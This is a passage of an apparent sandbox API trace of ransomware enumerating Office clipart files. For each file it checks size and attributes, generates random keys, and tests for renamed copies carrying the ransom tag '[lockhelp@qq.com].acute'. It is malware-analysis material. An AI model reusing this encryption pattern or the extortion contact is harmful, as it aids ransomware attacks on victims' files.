Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0275.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.110] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.111] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7296) returned 1 [0275.111] CloseHandle (hObject=0x37c) returned 1 [0275.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0275.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.111] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.112] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5414) returned 1 [0275.112] CloseHandle (hObject=0x37c) returned 1 [0275.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0275.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.112] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.112] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2616) returned 1 [0275.112] CloseHandle (hObject=0x37c) returned 1 [0275.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0275.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.112] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.113] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26706) returned 1 [0275.113] CloseHandle (hObject=0x37c) returned 1 [0275.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0275.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.113] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.113] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2704) returned 1 [0275.113] CloseHandle (hObject=0x37c) returned 1 [0275.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0275.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.114] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.114] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1324) returned 1 [0275.114] CloseHandle (hObject=0x37c) returned 1 [0275.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0275.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.114] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.114] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7932) returned 1 [0275.114] CloseHandle (hObject=0x37c) returned 1 [0275.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0275.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.114] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.115] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5552) returned 1 [0275.115] CloseHandle (hObject=0x37c) returned 1 [0275.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0275.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.115] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.116] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4970) returned 1 [0275.116] CloseHandle (hObject=0x37c) returned 1 [0275.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0275.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.116] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.117] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3082) returned 1 [0275.117] CloseHandle (hObject=0x37c) returned 1 [0275.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0275.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.117] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.118] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=23300) returned 1 [0275.118] CloseHandle (hObject=0x37c) returned 1 [0275.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0275.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.118] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.119] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=22116) returned 1 [0275.119] CloseHandle (hObject=0x37c) returned 1 [0275.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0275.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.119] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.119] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15852) returned 1 [0275.119] CloseHandle (hObject=0x37c) returned 1 [0275.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0275.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.119] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.119] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2832) returned 1 [0275.120] CloseHandle (hObject=0x37c) returned 1 [0275.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0275.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.120] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.120] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=68776) returned 1 [0275.120] CloseHandle (hObject=0x37c) returned 1 [0275.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0275.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.120] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.121] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1158) returned 1 [0275.121] CloseHandle (hObject=0x37c) returned 1 [0275.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0275.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.121] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 